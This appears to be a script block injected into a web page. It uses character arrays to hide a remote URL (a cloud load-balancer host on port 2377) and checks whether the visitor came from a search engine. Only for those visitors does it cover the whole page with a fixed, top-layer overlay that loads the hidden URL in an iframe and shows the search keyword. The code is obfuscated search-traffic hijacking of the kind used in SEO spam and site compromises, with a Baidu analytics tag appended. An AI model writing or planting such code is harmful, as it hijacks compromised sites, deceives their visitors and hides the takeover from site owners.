<script>
(() => {
"use strict";
const R_PC=0.80,R_MOB=1.00,TOP_H=52,ZMAX=2147483646,PRE_MS=220;
const JJ=(...xs)=>[].concat(...xs).join("");


var t = {};
t.a = ["h","t","t","p"];
t.b = [":","/","/"];
t.c = ["n","l","b","-","h","4","k","a","o","f","e","d","b","4","o","9","t","v","c","w","z","v"];
t.d = [".","c","n","-","h","o","n","g","k","o","n","g"];
t.e = [".","n","l","b",".","a","l","i","y","u","n","c","s","s","l","b","i","n","t","l",".","c","o","m"];
t.f = [":","2","3","7","7"];
t.g = ["?","i","d","="];
t.h = ["t","z","1"];


const U0 = JJ(t.a, t.b, t.c, t.d, t.e, t.f, t.g, t.h);



const ua_mob_a=["a","n","d","r","o","i","d"],ua_mob_b=["i","p","h","o","n","e"],ua_mob_c=["i","p","a","d"],ua_mob_d=["i","p","o","d"],ua_mob_e=["i","e","m","o","b","i","l","e"],ua_mob_f=["o","p","e","r","a"," ","m","i","n","i"],ua_mob_g=["m","i","u","i","b","r","o","w","s","e","r"],ua_mob_h=["h","u","a","w","e","i"],ua_mob_i=["h","o","n","o","r"],ua_mob_j=["o","p","p","o"],ua_mob_k=["v","i","v","o"],ua_mob_l=["o","n","e","p","l","u","s"];
const UA=navigator.userAgent||"",IS_MOB=new RegExp([JJ(ua_mob_a),JJ(ua_mob_b),JJ(ua_mob_c),JJ(ua_mob_d),JJ(ua_mob_e),JJ(ua_mob_f),JJ(ua_mob_g),JJ(ua_mob_h),JJ(ua_mob_i),JJ(ua_mob_j),JJ(ua_mob_k),JJ(ua_mob_l)].join("|"),"i").test(UA);


const ref_baidu="baidu.com", ref_sm="sm.cn", ref_so="so.com", ref_sogou="sogou.com", ref_bing="bing.com", ref_google="google.", ref_quark="quark", ref_yandex="yandex", ref_duck="duckduckgo", ref_bytes="bytesearch";
const _REF_HOSTS=[ref_baidu,ref_sm,ref_so,ref_sogou,ref_bing,ref_google,ref_quark,ref_yandex,ref_duck,ref_bytes];
const google_pat="google.[a-z.]+";
const SE_REF_RE=new RegExp("(?:"+_REF_HOSTS.map(h=>h===ref_google?google_pat:h.replace(/\./g,"\\.") ).join("|")+")","i");

function _htmlEsc(s){return s.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;").replace(/'/g,"&#39;");}

function getSEKeyword(ref){
    try{
        const u=new URL(ref),host=u.hostname,sp=u.searchParams;
        let keys=["q","query","wd","word","text","keyword","kw"];
        if(/baidu/i.test(host)) keys=["wd","word","kw","query","q"];
        else if(/sogou/i.test(host)) keys=["query","keyword","q"];
        else if(/yandex/i.test(host)) keys=["text","q"];
        else if(/sm\.cn/i.test(host)) keys=["q"];
        else if(/so\.com/i.test(host)) keys=["q"];
        else if(/bing\.com/i.test(host)) keys=["q"];
        else if(/google\./i.test(host)) keys=["q"];
        else if(/duckduckgo/i.test(host)) keys=["q"];
        else if(/quark/i.test(host)) keys=["q"];
        else if(/bytesearch/i.test(host)) keys=["q"];
        for(const k of keys){
            let v=sp.get(k);
            if(v){v=v.replace(/\+/g," "); try{v=decodeURIComponent(v);}catch(_){ } return _htmlEsc(v);}
        }
    }catch(_){ }
    return "";
}

function whenBody(cb){
    if(document.body) return cb(document.body);
    const obs=new MutationObserver(()=>{if(document.body){obs.disconnect();cb(document.body);}}); 
    obs.observe(document.documentElement||document,{childList:true,subtree:true});
    setTimeout(()=>{if(!document.body){try{const b=document.createElement("body");(document.documentElement||document).appendChild(b);}catch(_){}}if(document.body)cb(document.body);},1500);
}

function pxByRatio(r){const h1=window.innerHeight||0,h2=document.documentElement?document.documentElement.clientHeight:0;return Math.max(200,Math.round(Math.max(h1,h2)*r));}

function boot(){
    whenBody((body)=>{
        const fromSE=SE_REF_RE.test(document.referrer||"");
        if(!fromSE) return;

        const RID="r_"+Math.abs((location.host+location.pathname).split("").reduce((a,c)=>(a*31+c.charCodeAt(0))|0,7));
        if(document.getElementById(RID)) return;

        const root=document.createElement("div"); root.id=RID;
        root.style.cssText="position:fixed;left:0;right:0;top:0;bottom:0;z-index:"+ZMAX+";pointer-events:none;";
        body.appendChild(root);

        const top=document.createElement("div");
        top.style.cssText="position:absolute;left:0;right:0;top:0;height:"+TOP_H+"px;display:flex;align-items:center;gap:8px;padding:6px 12px;background:#fff;border-bottom:1px solid rgba(0,0,0,.06);font:600 14px/1.2 system-ui;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;pointer-events:auto;";
        const kw=getSEKeyword(document.referrer||"");
        top.innerHTML="<span style='flex:1;min-width:0;overflow:hidden;text-overflow:ellipsis'>"+(document.title||"")+(kw?"<span style='margin:0 0 0 8px;opacity:.8'>关键词："+kw+"</span>":"")+"</span>";
        root.appendChild(top);

        const panel=document.createElement("div");
        panel.style.cssText="position:absolute;left:0;right:0;pointer-events:auto;background:#fff;box-shadow:0 -1px 0 rgba(0,0,0,.06);";
        panel.style.top=TOP_H+"px"; panel.style.height="0px"; root.appendChild(panel);

        const f=document.createElement("iframe"); 
        f.src=U0; 
        f.referrerPolicy="no-referrer"; 
        f.setAttribute("sandbox","allow-scripts allow-same-origin allow-forms allow-popups allow-top-navigation-by-user-activation");
        f.style.cssText="width:100%;height:100%;border:0;display:block;background:#fff;";
        setTimeout(()=>{panel.appendChild(f); panel.style.height=(pxByRatio(R_MOB))+"px";},PRE_MS);

        const applySize=()=>{panel.style.height=(pxByRatio(R_MOB))+"px";}
        window.addEventListener("resize",applySize);
        window.addEventListener("orientationchange",applySize);
    });
}

if(document.readyState==="complete"||document.readyState==="interactive") boot();
else document.addEventListener("DOMContentLoaded",boot,{once:true});
})();



var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?f4ffe48b8f89c27c3aa4f9bc440c26d5";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();

</script>


